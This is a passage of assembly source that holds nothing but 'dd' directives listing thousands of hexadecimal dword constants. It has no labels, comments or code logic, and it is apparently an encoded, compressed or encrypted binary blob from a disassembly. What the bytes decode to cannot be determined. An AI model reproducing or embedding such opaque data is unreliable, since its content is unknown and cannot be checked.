0C5E41400h, 2E31CF84h dd 34518071h, 48C72CBh, 0DC13A6E6h, 0C84C8D3h, 0C2056001h dd 1E6304C0h, 3F2755F0h, 2B803CD8h, 22CD08A2h, 0A32CCC62h dd 0AA001CC6h, 9B7960A0h, 0BD24A824h, 0AD6A1C66h, 0D2B641D9h dd 0C4447779h, 25004DC5h, 8C356C5Ah, 0A9750B4h, 2AB305Eh dd 0F6D98CE4h, 906039B1h, 0B133A670h, 4DF0C0F2h, 0F9057E09h dd 2270DE4Ch, 0B0AB031Eh, 253F28Ch, 0C52B2E2h, 0E61F4090h dd 0A640DB88h, 0C4018E5h, 771035E8h, 0A0A81271h, 37497B75h dd 8CA84008h, 18621158h, 0BA108BAEh, 0D4EC0016h, 0B060E972h dd 68B07F3Ah, 948D6F2Eh, 0E519803Ch, 0CDA35332h, 80703ACEh dd 387D1686h, 0BC048878h, 45FCD55Bh, 0F8813C88h, 94E900A0h dd 838F71CAh, 4F00B0AAh dd 1EE16131h, 0F0AD5C1h, 525EA8CFh, 70CB5C01h, 0EA8339Fh dd 0C0C8AEE6h, 5BD3B17Eh, 0D9FD6703h, 8049970Ah, 0A210564Fh dd 944B0400h, 0BD69CA67h, 7C75018Eh, 9071E259h, 0E3589D28h dd 41FA02CCh, 524400C1h, 21EADBF0h, 797629A0h, 0D2DAD602h dd 4473112Eh, 0B9CF2950h, 71293EC4h, 45F428ACh, 8ED96025h dd 3FFFA901h, 0E79130FDh, 79D299Ch, 0A23152A6h, 4E4037Ch dd 0D8CBB00h, 0B8BDF3D1h, 370100C9h, 20C8B243h, 0A286D1Fh dd 0DB05CC5Dh, 0C39CE87Dh, 0FC43E401h, 0DF103B73h, 3316576Dh dd 78460A3Eh, 61F302h, 0BA669BDAh, 9930A6FFh, 690010B9h dd 3D807317h, 1501007Eh, 52F97954h, 0A4041E4Ch, 7277649Ah dd 6F9644C0h, 32CCA024h, 19B20069h, 0ECC7A5C1h, 0F9DF1FD2h dd 0B41B1000h, 1C457D0h, 197EAFF5h, 29D9C9ADh, 73BC00A4h dd 658BE2D6h, 0DFB5003Eh, 174F207Dh, 0FA79A19Dh, 2497F806h dd 7D93996h, 0F26DE930h, 88D934F5h, 9E3EA2F0h, 4DBA0073h dd 321F0CC1h, 2008B1A5h, 0DC095080h, 0FF848AF9h, 9734CC5Dh dd 22C82300h, 0DA6C9E9Bh, 145F033Eh, 0CCFD73C4h, 0B6A4ADC8h dd 320E0971h, 860CB161h, 4B61C997h, 9F8840D9h, 3CA6151Ah dd 65CDA900h, 0E48391E5h, 4EA112AFh, 0C0640AEBh, 7C3711D4h dd 8F284275h, 9B38AC57h, 129F00C8h, 911563EFh, 4229C032h dd 0C52637A1h, 7E072E4h, 0EE98D40Bh, 9F248480h, 7CE440CDh dd 0D6200F73h, 2AC0148Eh, 892CA63h, 30CFE01Eh, 0E6048C6Bh dd 0DBC29FCDh, 0A2ACE0E2h, 912818DBh, 820C7947h, 3C847400h dd 0EDC7031Bh, 723800E7h, 2431BCA7h, 8A067DD8h, 0F6025C6Ch dd 23500059h, 0DD1894B2h, 0F21E38C7h, 0D004F388h, 0ED404A91h dd 6A819A2h, 8C90F000h, 8B23016h, 0C4020503h, 0ACC04291h dd 0FC3700FCh, 97CB8363h, 5CBC98D5h, 1C102CBBh, 7F8400F1h dd 2AB879B9h, 0A4190467h, 0C2E90646h, 6C59BC50h, 0A8F90E00h dd 11D1C39h, 0A99166EEh, 47204CE3h, 1804EB84h, 0F4F856F7h dd 4C82DF04h, 497CC023h, 265C1854h, 0D47718DCh, 0A4AFCF29h dd 40024BBCh, 0D785E54h, 0C900EC87h, 0DA03AC86h, 7253CA81h dd 0F83058A0h, 0F4670101h, 84C18E19h, 0BCA6ED10h, 0E0981CC4h dd 38B1986h, 0C48F59F8h, 0AB006D5Fh, 712FF159h, 7BD7F4Fh dd 344BE06Bh, 0CC5B02DEh, 8100A859h, 2B6159EDh, 90717773h dd 0F89148A0h, 0C03F9F84h, 27958B3h, 33CC3E04h, 78B2327Fh dd 671F093Bh, 97B280ADh, 9C011042h, 6AF3B0C1h, 0B04CF539h dd 0A67600AAh, 0A568EFB1h, 9404DC1Ch, 0DAE64312h, 384FB4A4h dd 108C67CFh, 0E1E91BD4h, 0A402CE7Bh, 2705D27h, 88C403h dd 0C6575291h, 43A35410h, 9F324C03h, 90DE22C9h, 18A82C6Ah dd 31F40288h, 0D102F9D5h, 0CAED74BEh, 0AC7471C0h, 586D6058h dd 500CFFBh, 0D1BE514Fh, 2EC5C0h, 497674ECh, 0F971B155h dd 65852F6h, 0B414245Dh, 1401E112h, 0FDD9D5F4h, 656CE310h dd 0B0CD1F01h, 14ED6310h, 0F6D296h, 8306B98Ch, 4B1ED3ABh dd 64CBB2CDh, 912E83A3h, 4299002Fh, 5D243B62h, 0A7E4098Ch dd 0A0F8EB05h, 8CC06930h, 98E13FA9h, 0DA6511F0h, 9A007ECFh dd 0AF979086h, 77D109Dh, 29ACA8FBh, 78FC2196h, 4861B33Dh dd 33DBC2h, 81FB1611h, 273CD4C8h, 72598807h, 7AA2D3BDh dd 1EECE15Ah, 9ACDCC50h, 0D5AD32B2h, 84203C50h, 5C0EBD9Ch dd 805199B3h, 1AB8C74h, 47114589h, 41D2E209h, 0D3A5B724h dd 1CC0C2E2h, 0E31233ADh, 8601ABDAh, 271CEC79h, 3FF420h dd 0A5E93DB5h, 9F3092D9h, 8054ED4Ch, 0FCBAE8A3h, 396CA471h dd 0BE1DABB9h, 55BB4070h, 0C50E7976h, 5C4AE209h, 9E818CAh dd 0C8B53C46h, 0FCFB8E05h, 5A680944h, 0E0A7B425h, 4650B696h dd 0CA29EEF4h, 9796D4A5h, 0FCA94861h, 982CE9D9h, 0BDB78901h dd 0C0126ABEh, 0DF3D9261h, 0FCDA18D2h, 3ADE81h, 0D0F76E4Ch dd 85BB38B8h, 8CBF8A03h, 13DB9h, 5DA148E9h, 75F13CADh dd 0C7005F7Ch, 0AF4223D4h, 98513393h, 0F210207Ch, 0EA7F1900h dd 87887C35h, 5076E5h, 0EBCEA0BCh, 0F5025A96h, 39F459C0h dd 539EC4h, 0AA8F8221h, 9AFA8B5h, 1025DCB0h, 0BA349071h dd 8FD891C5h, 6661AD8Eh, 1018D3D4h, 0C1D0F2h, 743EBED7h dd 0CF4075AEh, 4827BB4Ah, 0F5F74760h, 9E89E4F0h, 30A160D0h dd 1E28A93Ah, 31E5BC82h, 0A0F40C48h, 0C024124h, 0D656D105h dd 15E4808Dh, 14F30049h, 0FDBC6AA9h, 64947211h, 90002665h dd 23086D57h, 52500EB5h, 0CE075AA6h, 173245D0h, 0BA7430FCh dd 0AA005820h, 78A8FFB7h, 4874A153h, 342278DEh, 9863302Ch dd 38288C49h, 5F53328Ch, 4441B3C0h, 685450E4h, 0A200BDE2h dd 7BB07789h, 16CDAA7h, 2ADD1C2Ch, 50E2D406h, 8ACEE494h dd 0E984042Ch, 7824A10Ch, 0DB418A38h, 0F83021B8h, 8C505448h dd 78A8FBA4h, 848405Eh, 0EA80DE08h, 0ECBDFFA8h, 54F61E9Fh dd 3C8141BBh, 31854A03h, 40B44048h, 44A8102Bh, 0B3024F1Ch dd 91B53069h, 9C80FFABh, 0A3EA331Bh, 0DFB1F31Bh, 0A031E668h dd 2499D5h, 3A2C326h, 479DD60h, 0E251F700h, 0EF72335Ah dd 2647000Ah, 65118D21h, 9D0080FFh, 3AEAA0B0h, 25A31B8h dd 290DD8ABh, 1044D9D4h, 6BACD609h, 0AA80864Ah, 0C0CF871h dd 0B49CC101h, 520235F8h, 0F3D0EB79h, 709381F0h, 0F031D287h dd 0C00CC0h, 0C1237E98h, 0D396717Bh, 74068502h, 0E0CE452Eh dd 748AFFCh, 67B69CF7h, 0B5A8A02Ah, 823CE786h, 9D320B18h dd 0DC007D54h, 22DB2029h, 28739A04h, 0A083314Ch, 0AD681803h dd 32850813h, 96F1C200h, 3106F27Dh, 5F24003Ah, 67BA7FE5h dd 48018307h, 6F636E3Eh, 40808501h, 1EB3CD05h, 4F00FBA5h dd 814C7C31h, 3234D76h, 65A6577Bh, 600E08ECh, 43988C03h dd 989C668Eh, 591F6Fh, 531D8217h, 119AFBEh, 85993060h dd 0F37D83h, 0C4876575h, 92FD0E8Fh, 8B28BF60h, 789DD29Ch dd 0B6518F1h, 554E405Dh, 2A1250C0h, 22B6CFh, 49846A79h dd 0C1BE0F11h, 0FD7B2B7Ch, 0D5042A02h, 0E0175078h, 0E8A1D8BDh dd 32E20019h, 0C86959BBh, 1800A862h, 444166A0h, 1E728153h dd 0C063E185h, 0E7E6908Ch, 1769F8Dh, 91BFD228h, 2A8C0D54h dd 5775DD06h, 0D1B0A3h, 0E41EA535h, 2B5B6CF8h, 0E06DCB1Eh dd 2004B58Ch, 0AF341F89h, 908280C6h, 33BEDA42h, 7A74AE26h dd 0E05D703h, 33618686h, 0A859B2A3h, 0EEA4B0E0h, 91DA6B18h dd 7B3248F0h, 2D60A5Dh, 86A81536h, 41046863h, 57C64C00h dd 0EBF5B3F9h, 527DB4h, 0B7FBEE1h, 0ADB9E74Ah, 97390660h dd 1FEEF3EDh, 18C275C0h, 0F5FD190Bh, 0A6E4AA30h, 1B2063Bh dd 749B7111h, 406AC78Eh, 2824D5DCh, 675E707h, 6771CC77h dd 60D58D55h, 5BC7330h, 0A3498214h, 0BD8441A6h, 0C81AF26Ah dd 7E300E47h, 5F45963Ch, 52780304h, 0B8FDF697h, 1B6F3618h dd 0EE3D89D1h, 3A51001Dh, 0A5413C53h, 4707B476h, 1ECC38EBh dd 48FCB2F0h, 9A3D07DBh, 0AAF0E287h, 8E0E40A8h, 0D303A189h dd 0F76B7AD2h, 8B2CC8ACh, 8F8017FDh, 5F910752h, 0C09DFE5Ch dd 7285A6D2h, 6B0010F1h, 0ECC22B8Bh, 52C2Dh, 0C602B9E6h dd 2373E7CDh, 54B0EB0Eh, 6AF83965h, 88240FE1h, 8CB6008Bh dd 140959E4h, 0E5B858A1h, 3B08254h, 322DE703h, 7C8A31BDh dd 7E9EF0A9h, 0FA0B30E0h, 0B3590E29h, 10836501h, 688BE52h dd 0CB8E4183h, 0FCA0E78h dd 0CC7A26h, 1B362658h, 15CA8DFDh, 0D601A03h, 1803890Eh dd 714DA329h, 0C7004388h, 4426E2Eh, 0BB506Ah, 11F572E0h dd 8464CF8Dh, 0AB00157Ah, 9E8C3621h, 535E59h, 763B8A40h dd 307F886Ah, 43802891h, 849CA71Ch, 322400AEh, 0CF72E1F2h dd 0C8B05629h, 2C78AF00h, 892D9B04h, 5E330344h, 0D84C64FDh dd 20F087E4h, 87D1CE01h, 9707C775h, 84BE306Eh, 606FF93Ch dd 5669C905h, 8014ED3h, 0A70D5876h, 0A041BD8Bh, 8211F933h dd 0E7518416h, 4493B8A5h, 6E6AD0FDh, 73D907ACh, 0F583CFDBh dd 0D0910B27h, 31A6C001h, 48A43280h, 53470AC0h, 0D70FF41Dh dd 0C8615BACh, 36EE4Eh, 0A0C65A63h, 0C4AD80A2h, 24788400h dd 7596421Ah, 126F7CB2h, 339C3239h, 54E3986Ch, 0DB191F80h dd 0B0F8BF00h, 95AF8AE6h, 0D0A50CECh, 766909ADh, 57E97D00h dd 44BF71E4h, 0B2B80003h, 0A56761D2h, 900E5F7Ah, 207B6550h dd 3135C71Ah, 8E2C918Ch, 0CCC4E7F4h, 2EC450Bh, 74EDA840h dd 96628h, 9C62D2EBh, 3D8B12FAh, 58BEF43Ah, 5C28686Eh dd 87B7C080h, 3BED1AFh, 0F8B49091h, 75F14B8Ah, 0BF7E30E9h dd 39058430h, 6C5A580h, 0AC307183h, 0A007810Fh, 9D08D9C9h dd 1126CA41h, 802E6E9Eh, 160FC871h, 3F13D6C0h, 0B43140B5h dd 10E86A5Ch, 64D00D7h, 9A88977Ch, 0A713F58Dh, 60305E13h dd 419D4CDh, 0A1F6E936h, 42F08117h, 87FED4A2h, 38F0C530h dd 3021A099h, 7C61B3A3h, 0A8007179h, 305FB0CBh, 35A2F508h dd 0F213901h, 20768DC8h, 49E90404h, 9414B024h, 68C30A0Ch dd 0B6F666h, 1A6C73FDh, 7AD1C38h, 0CE6741C0h, 72D7D44h dd 28FA5FD0h, 0AF1A00D4h, 58B0522Ch, 94F0403Eh, 34BA0Eh dd 0CAA50975h, 4877BE4Fh, 0E006B61h, 0EB04CE41h, 8C04179Dh dd 0FD7931DDh, 84C65082h, 6F4902C0h, 0E399FC10h, 0D7461D00h dd 9CFE400Fh, 0D24514DDh, 170AF48Bh, 54AC2Ch, 3F72EB76h dd 0A50044C2h, 90A12E41h, 175865CCh, 8647EDAh, 0DD87B634h dd 80F96105h, 2DD46618h, 0A32418CDh, 0C3FF21BEh, 158E1E00h dd 0C5C8BB53h, 37CE073Eh, 0A0E2AA74h, 4738D204h, 0F0001FECh dd 6D88FC8Dh, 30527063h, 58C11E6Fh, 28F439D4h, 2C09500h dd 81CDB944h, 2C5307FCh, 1EECB30Ch, 13397C94h, 48FFB980h dd 8A8E597Fh, 0E05CE77Bh, 0E9873034h, 0C0076803h, 1FEC9461h dd 6209054Fh, 90AAE764h, 0E0C318h, 0D392B0BCh, 0BD25520Eh dd 0B7AD800h, 0F344B487h, 3C4B71CAh, 0BF9FBC6Fh, 3ECC41E2h dd 32850E65h, 8024C9BCh, 0B5945389h, 0BE8D1CA5h, 5FB4D666h dd 30AD9C24h, 33201A1h, 1827E5E4h, 325DC55h, 5EFDCDB1h dd 8B3B25E8h, 8060A548h, 26652BF5h, 0E4F10093h, 0BBF4719Ch dd 0F60FCE02h, 0E06878FEh, 822BA141h, 8F8A118h, 472DC717h dd 0D3D66076h, 0FF09F51Fh, 0F7129Ch, 2147F894h, 80E0912Bh dd 9F71F1EEh, 0A009E97Fh, 0A488919Bh, 0EC814C51h, 83F16C6Eh dd 2E77D870h, 62A00E84h, 0ACA0BCA3h, 0F83D30BAh, 8BE36A00h dd 7E75DFB2h, 2FB701D8h, 78E4749Ah, 2D0486Fh, 95CF6807h dd 7641C0C4h, 0C03F541Fh, 846B04F6h, 0E6EF106h, 1310982h dd 9487CE2Ah, 20B7652Dh, 64038D90h, 0F33228F9h, 8018C2FDh dd 0AA957E88h, 9710245h, 0AD0EB57Fh, 13728C90h, 206FAF00h dd 61ED3ABh, 45D9131Fh, 73810092h, 7DE4BD62h, 0FAEA88B8h dd 0BB015CB0h, 26EBA45Ah, 49870EADh, 7716E058h, 8DBC533Eh dd 0CE1761E0h, 0CF0980F4h, 2009EB7Ch, 716BFB48h, 2CB806E9h dd 190EECCEh, 91C40400h, 3051D2D9h, 0AE23006Ch, 5CBDB262h dd 0E0C92924h, 7F4080E7h, 986A826Bh, 0B0BA0150h, 0A37E1720h dd 0C0C3061h, 0EA094484h, 0A61C1700h, 8E51A3CDh, 613498CFh dd 3BDA4015h, 197030C6h, 1BC6D3Eh, 492C7254h, 188E92F7h dd 64A05B76h, 0D4335DFFh, 0B1A5F812h, 9834840h, 4896A2F3h dd 0E1002463h, 0C32BC4E8h, 2D4CE94Ah, 196F0178h, 1868637Bh dd 0A37AA910h, 0FC39D003h, 0C0E7C599h, 1CE7FCFh, 52A03DC7h dd 706A6D8Fh, 7448DA8h, 0D358C11Fh, 4C01689Ah, 150ECE9Ch dd 0E0234B10h, 3FF0B33Dh, 0EEB20F17h, 2053BE3Ah, 0A2843104h dd 74A64C92h, 34EF3B00h, 0AE68DEDBh, 7B1C1DABh, 0DFB8431Fh dd 6F9061F6h, 49002533h, 826CB68Dh, 1CF2A79h, 928C7A62h dd 9F066F45h, 0BEC2D8D9h, 0E0912DABh, 901F895Eh, 4DE7F41Ch dd 8C11DC11h, 5758003Bh, 84F610C5h, 0A328C286h, 3061EA8Eh dd 40C6420Dh, 0CE0F0853h, 0C0A47433h, 6EEE41F9h, 4C4D007Fh dd 0B1A497B0h, 3E0065BBh, 0CCBAFC5Ah, 60B5906Ch, 16AA606Fh dd 0D9128E35h, 4C98ECC1h, 0E5E0A0B9h, 2C5E00FEh, 2B3BE005h dd 0D4909B33h, 0B422800h, 88B28EB7h, 12B92A85h, 0D6BF007Ch dd 0BA4F49F5h, 27179ADCh, 0C80C63ECh, 4E61BEh, 0DB96D252h dd 0E3CC8FA9h, 80D4DC38h, 56C869C3h, 9075824Dh, 0D3FC00E8h dd 67A49173h, 0F4AC652Eh, 996DD507h, 0F282411Ch, 521461FDh dd 646FE9EBh, 0F0A1D094h, 0DC831488h, 88A74A99h, 879FE9h dd 0CFD5707Eh, 1AC0A961h, 0ADF82261h, 1C35F3EEh, 0C0C2B444h dd 0D0C489h, 4B214971h, 87B93322h, 0E410D204h, 68A124FFh dd 40F20842h, 171DC3C8h, 41CA8C3Eh, 0CCDAE25Ch, 1439AAh dd 0DBF35A2Eh, 3C7E9B1h, 332F4850h, 0E0A84F93h, 0EC30BFA6h dd 180F13Ah, 0DFF706B7h, 0D18CBE29h, 5748FDF8h, 71620BACh dd 0D5280511h, 551A7840h, 0C2EDCCh, 0C9B60E51h, 0A44A8272h dd 31C6D11Fh, 9412805Dh, 2187D80Eh, 0AC2DF856h, 75243Dh dd 0D27A7E4Ch, 7F1020Fh, 17E88E5Bh, 9409BB3Bh, 44C9860Eh dd 72889C2Ch, 10B0A7C0h, 50DA052Bh, 0A0608431h, 0D6048Ch dd 0EE0A968Ah, 385354CCh, 0DC40684Bh, 34733E2Fh, 13E200BDh dd 0C9ACC880h, 17025FB1h, 6CCD067Dh, 0B818A01Dh, 7A96DC15h dd 982BFA59h, 269D1EDDh, 234FC92Ah, 78771880h, 0B8A80501h dd 9891BB85h, 0CC9EE380h, 8290FCh, 89E8B4ABh, 1368DD5Bh dd 2F5A505h, 0B6007380h, 0F6225294h, 0E41D5066h, 0B1BB09C5h dd 0C8C83F02h, 0C8A837ECh, 3800DBC1h, 0BA7DEBFDh, 71D9AFh dd 511A3550h, 0A35D70E1h, 73F9899h, 0E0C754EFh, 0FEFF5F32h dd 0AD57098Bh, 2F844890h, 0A144E300h, 0C82421A8h, 0DE8C0068h dd 0CED99FC0h, 6C00ACD7h, 955A7D02h, 1FD3AF8h, 0E0E933B6h dd 9F8EBE5Dh, 8D8C0349h, 17D7C2ECh, 20686406h, 6AB43EB4h dd 80AB733Fh, 824C1990h, 1EFBF592h, 2625F22Dh, 2CE8048h dd 4F7DFF55h, 5934EC30h, 0B37B4Ah, 0DB272D64h, 0C2B1FB53h dd 0FD81C600h, 0E8114D28h, 9CC3507Ch, 0D14A1FF2h, 5FC4C002h dd 3C74570Bh, 310ED896h, 4C8C358Bh, 7A35860h, 0E868EA0Ah dd 104B13B7h, 4C92F60h, 0CF71B22Ch, 4364C0DBh, 1E046BA6h dd 5B10E7Dh, 0E23E0144h, 7546010Ch, 1B5FCD93h, 581A2820h dd 670268C1h, 708276EBh, 0BF023C59h, 7FF5DB9Ch, 0A7D1DB60h dd 0E14AAF12h, 0C8D0C8h, 15F3466Ch, 5594C154h, 0A464A900h dd 0EA06A1A8h, 2DBD2C07h, 55E7C238h, 0EE0710E6h, 3E431740h dd 24872A20h, 0A4B0084h, 62BDC045h, 7F8936ECh, 599C8h dd 0F701E73Ch, 59207009h, 0BEE82B00h, 0ACFE5D04h, 0F259C002h dd 0FAD25337h, 3F796400h, 78C94FFBh, 0D80352ECh, 6A74B807h dd 0EE1BC05Ch, 0C83D4715h, 0E054247Dh, 892D4F00h, 50B9410Eh dd 0B78C14h, 485D9FC1h dd 2C03BDF3h, 6F50C012h, 0FC90A420h, 5375031Dh, 21ED1120h dd 1F665180h, 0D2017778h, 0E2A5CEC9h, 5030742Dh, 307D5CB3h dd 4DCCF300h, 0B6DC2BD7h, 8CA34E26h, 6A119F40h, 29C000FEh dd 42831576h, 201FB6B7h, 3B973C03h, 1A887C05h, 3DB7088Ch dd 39009C30h, 2A3DA632h, 59FE6553h, 9067C527h, 244AD4h dd 0B3955615h, 5135A7E9h, 0B464632Ch, 229A2B00h, 4483BE14h dd 71283105h, 8CB288F7h, 286E6912h, 5DD0F830h, 0DFCF079Ah dd 0A0252C01h, 0B89EE92Bh, 0DE14C909h, 0D8449Ch, 2D877FE3h dd 0B5BA69F5h, 2FE44204h, 64E4AC2Ch, 0CF9801B9h, 0C41B6DEEh dd 0D278848Eh, 0ECB21D64h, 18A30070h, 0FEDFB207h, 0BC1A9715h dd 6691317Fh, 82161EC4h, 0A64107F0h, 0CF50C214h, 0FE262CE8h dd 2B7D1C1Ch, 421B1E82h, 0A3E8983Dh, 0BEFAE5h, 101C81F2h dd 0B84F7FECh, 9EFEEE00h, 9B1FA36Bh, 12C2B0CCh, 258531CDh dd 0E7EC80DCh, 0B1091750h, 446504CFh, 0AC7F0074h, 7849A673h dd 28057CB9h, 0FE55191Fh, 0F245B883h, 0C24C6216h, 0A0345ACCh dd 0AE84948h, 1870EACh, 38B71450h, 0F94A6800h, 8CAE0880h dd 0D84B9E28h, 0E349F48h, 0F277BFC2h, 109CEC30h, 5E61006Fh dd 7CA8BC68h, 1110B86h, 49000336h, 0E6EAA487h, 63041124h dd 0C67D4E82h, 74DE2481h, 0C00B8ED0h, 0FE18B89h, 4E30CE5Dh dd 63E9781Bh, 0DDD1008Eh, 124C2C24h, 0B50B8D64h, 647FAFBFh dd 0FB03078Ch, 747015h, 0B19B8617h, 6C328A00h, 75833BCEh dd 258FE649h, 581088BCh, 0E0A0E271h, 60632BBh, 0DADC38Eh dd 354E821h, 5BEAFFA9h, 6480E51Dh, 7600CF8Bh, 0B214B1D4h dd 4F9C270Dh, 0D61440EBh, 0BBF233E3h, 0AECC5328h, 0ED18200h dd 0D50A7796h, 2B5D0546h, 20A5FF07h, 0E619F6A0h, 0AA33D801h dd 74D83BFh, 0BFA9890h, 80EDA4DCh, 807CF198h, 4767251Ch dd 0E6A83C90h, 7D917B05h, 8806910h, 27111CF4h, 80203101h dd 965A32B2h, 78045148h, 7F63388h, 0F8717A9Ah, 0D1C6A3E0h dd 6A094076h, 4662C89h, 51470D10h, 0AA5E1065h, 0C102B19Ah dd 0E71E8CB4h, 0BE06692h, 9B5A0D1Bh, 0F35CD880h, 500977Fh dd 9E1DCC41h, 0E4B502C8h, 1CB932h, 958DE7B7h, 0C0047679h dd 0B1566306h, 2B1D3081h, 1E83F83Ch, 0D6D0E1F1h, 0CA05891Fh dd 0A535EF2Ch, 0DDA69000h, 297FF2DBh, 808C6312h, 0D28EB221h dd 0D54C5D2Ah, 0DEEC0244h, 6064F7EDh, 0C965DA00h, 0C885CA08h dd 0DFACC161h, 0F19C6060h, 0B7AAE011h, 0BF807338h, 9F433050h dd 0F1001777h, 0B56FE901h, 2322BACh, 0D03141C4h, 90D9E4BEh dd 90F67000h, 2C3A66h, 529813FAh, 0DB72EED4h, 0DFBC2200h dd 0CCDD8714h, 12321647h, 26283065h, 4200566Fh, 2E3316AEh dd 3F34ED7Eh, 3716F3DAh, 8FA49105h, 4A88160Dh, 0E96C80D3h dd 9506879Ah, 0BBA37982h, 0C9553D91h, 0F23D6B81h, 0FF531C46h dd 0C6D39BA0h, 1B8E57Eh, 1FD1FA60h, 24CEC8Bh, 7A0657Dh dd 0FCE0D141h, 624A5D10h, 18B3A021h, 2B209C0h, 7E82175Ah dd 9CA0B4A4h, 0A58FC20Ah, 0EA61CE00h, 0F81C6592h, 0E6043928h dd 8DBE3E09h, 8631A4C8h, 0F026E0B9h, 0A9DC8CCh, 887F3156h dd 10AF0010h, 7A826555h, 0E1BFA330h, 8D6ACAh, 994E8CFDh dd 0C38F95E0h, 2D9D2604h, 7CC02B30h, 0B42EC745h, 170426F0h dd 2C6C20BBh, 0BA027E80h, 0E72976F5h, 847CE158h, 0CBC3546Ch dd 0E8093BA4h, 10AC5A47h, 9687EB0h, 0F2BCB78Eh, 0F9CCE083h dd 40FA3FA2h, 62DD70DFh, 2545581Dh, 38F5890Eh, 0B14AF4FCh dd 6BD48030h, 4B1B261Fh, 0C4D5F304h, 0B0A25102h, 0ED802200h dd 0F46C6377h, 8871A70Fh, 0E3DD001Bh, 2CB98Eh, 8C605949h dd 92FD4D90h, 0E7D20503h, 0A012C77Dh, 88023E03h, 0C3058763h dd 0ED92D346h, 2B71F005h, 0FA00CCE2h, 4625A331h, 2026B330h dd 0CD0A1435h, 40316C01h, 0D440565Bh, 606F64F1h, 4A6DA90Ah dd 0E7F2A9D4h, 0F977B3Fh, 27419B16h, 0BF40FDCAh, 0F33B758h dd 22500335h, 5EE387h, 83CBA380h, 21000672h, 697BBDEAh dd 0F3EDBh, 76B6D4ACh, 483B6A6Dh, 105C18C0h, 3DB94D72h dd 0D79FBB4Ah, 0FE30F06Bh, 0F400EA0Fh, 5FCDA3CFh, 0E334FAh dd 28D55C60h, 0AE54AAEh, 6F40EB79h, 6D6E0E48h, 6C87F8AAh dd 0AD5CD21Ah, 29DC37E0h, 7543B92Dh, 41C96300h, 3C1828A7h dd 3E89B1EAh, 31CA79A8h, 53117ED7h, 97E0E4BDh, 8672AB00h dd 0B899AADDh, 5B741839h, 29BD393Dh, 7E563B00h, 7FC2EA46h dd 0C8B7668Bh, 3200497Ah, 0BC2C74F6h, 5A3397h, 5F144E03h dd 0A8CDDD73h, 0CC09D200h, 0A3EAA987h, 64AF052Fh, 5E72D608h dd 4F37CF84h, 7EE08CEEh, 9127DDFFh, 6E676C03h, 7CD743h dd 4D1FC569h, 2BC9D3B4h, 82A98903h, 0E99BA241h, 0B18139B3h dd 5AB891F9h, 40B7CD5Bh, 9A74088Ch, 0A492EE68h, 14A5F980h dd 0EB62FE6h, 9D0EEB17h, 8468B903h, 80666189h, 0A5227D29h dd 1855F68Fh, 19E672E7h, 0DC005B69h, 5CDF10BFh, 30706A03h dd 33D177D6h, 9000F72Ch, 0DF18502Bh, 0E78B89Bh, 58634D24h dd 0C4E8DA61h, 5C953033h, 2AB2ED01h, 68612F10h, 0F76D6180h dd 0B48B6CDDh, 8062EF00h, 74B7BF9Fh, 0DB81C359h, 0D800B0E2h dd 89C9AAE4h, 30FAFD9h, 0B8A8E9F9h, 291237B4h, 0FB00CDCAh dd 9488AD47h, 62AE00DEh, 0E324B941h, 0E700ED87h, 0C7F7565Dh dd 1BD843Fh, 1ABF4E3Ah, 0EB6174A5h, 5700497Ch, 0DCB79976h dd 15FC1EAh, 0BF4D0928h, 6083E135h, 0C500E816h, 7D3AC95Eh dd 0D6CFB99h, 7060C43Ch, 0D806CCD9h, 0ADA19500h, 772CB1C5h dd 43B80EC1h, 0A200E1Ch, 18DA1D0Dh, 4CB9CD48h, 32F16048h dd 0E70102h, 0AC9DD3CFh, 6BFE33AEh, 12C59D4h, 2A0B50E9h dd 0C41075D7h, 16008A3Ah, 0EF159E20h, 0C25008h, 0DA554A4h dd 0B44161F8h, 0F2E14D62h, 0F171C06Ah, 2AF7002Fh, 83F09B22h dd 5900081Ah, 0C702367Ch, 3B3B96Ch, 735E92E8h, 0A148DFE9h dd 60773A1Ch, 56CBA7F0h, 7161300Ch, 25194EA1h, 7B85F000h dd 0B3CB69BAh, 5C79C038h, 2BA1A0E2h, 0CA7D39h, 0F917F6A7h dd 4861B906h, 0ED185B25h, 33B469EFh, 2F5939C1h, 0C560681Eh dd 868E3FC1h, 0A7F2FB82h, 8984540Dh, 41188238h, 5221B720h dd 8449C1D6h, 0E558CEB3h, 704BFDA0h, 0C9090F3Dh, 2A80B7EAh dd 776084B8h, 0FEDA8223h, 73D73031h, 753B8621h, 92048590h dd 0A2BC3791h, 0CAB17B80h, 7FD7302Dh, 0C06A9D29h, 242A0D0Eh dd 0CBA220E1h, 7168085Ch, 0FB0982Dh, 0FEC4253Bh, 0A9508E60h dd 40996A74h, 6813780h, 0F21877D7h, 0A0D50A93h, 40F4D6D0h dd 65372E5h, 9BE258h, 33F1260Bh, 974E6DEh, 462B7B54h, 84087800h dd 2709115Ch, 18757F7h, 0C933AAC4h, 3987446h, 2E0EB0DEh dd 610078D7h, 0BE090B72h, 7353F0h, 293189AFh, 6F388CCAh dd 81C87504h, 0ACC8B8EAh, 0E1F32A73h, 60C0F8B4h, 31C91942h dd 5E3EFE4Dh, 7BBA1164h, 1D1AC40h, 83CC6B12h, 0C0167F44h dd 3B31C95Dh, 0FAF374C3h, 35BB51BCh, 0EC51E045h, 31E19C0h dd 0DC5AFEh, 0E0238B25h, 49D62170h, 0A26FDA05h, 0AC018663h dd 3AFE069Ah, 1AF81021h, 0B0D64C6Eh, 0E1CBA582h, 53749182h dd 0E0560C6h, 0C7341359h, 86059460h, 57C90D9h, 8C2B1033h dd 0AB1180FEh, 9A00CB50h, 0C4AF0828h, 28E8B987h, 0DCB884C6h dd 0AC2A2Eh, 6D6CE148h, 0BEEA9894h, 0EB7344A0h, 2C0021DEh dd 0B2D92EA9h dd 0E8B00149h, 743DB7A4h, 16C2355h, 0AC0E1835h, 0D89CBA11h dd 21A9C057h, 5CF5E3D7h, 0F603C90Eh, 0C022918h, 18824004h dd 696E60F0h, 0AB00E781h, 0AF01252Ah, 1408BB7Eh, 0E04FD924h dd 0EC21EC43h, 6095C00h, 0F81D881Bh, 1980E3E0h, 31FF5A2Bh dd 3A02BF25h, 0A2FBB0FDh, 3466BAh, 72E8307Ah, 9BF311BBh dd 9020A800h, 0D0D2C036h, 0A5971281h, 0CBF82052h, 0F200B64Ch dd 0E9D5B7Ch, 773F923h, 0A2667940h, 184C716Bh, 5241003Dh dd 0B639C0EEh, 1A9327ABh, 0F00C2E6h, 0F85B0EA6h, 98F17CAh dd 1DC08B3h, 5002548Eh, 0B4C63BBAh, 51CCA400h, 3CC9E661h dd 0E4AF025Fh, 67131EA1h, 0BB2CF081h, 0E9D0E78Fh, 0F4B05BACh dd 0DA8BA50Eh, 0A6DF8FE2h, 89ED52h, 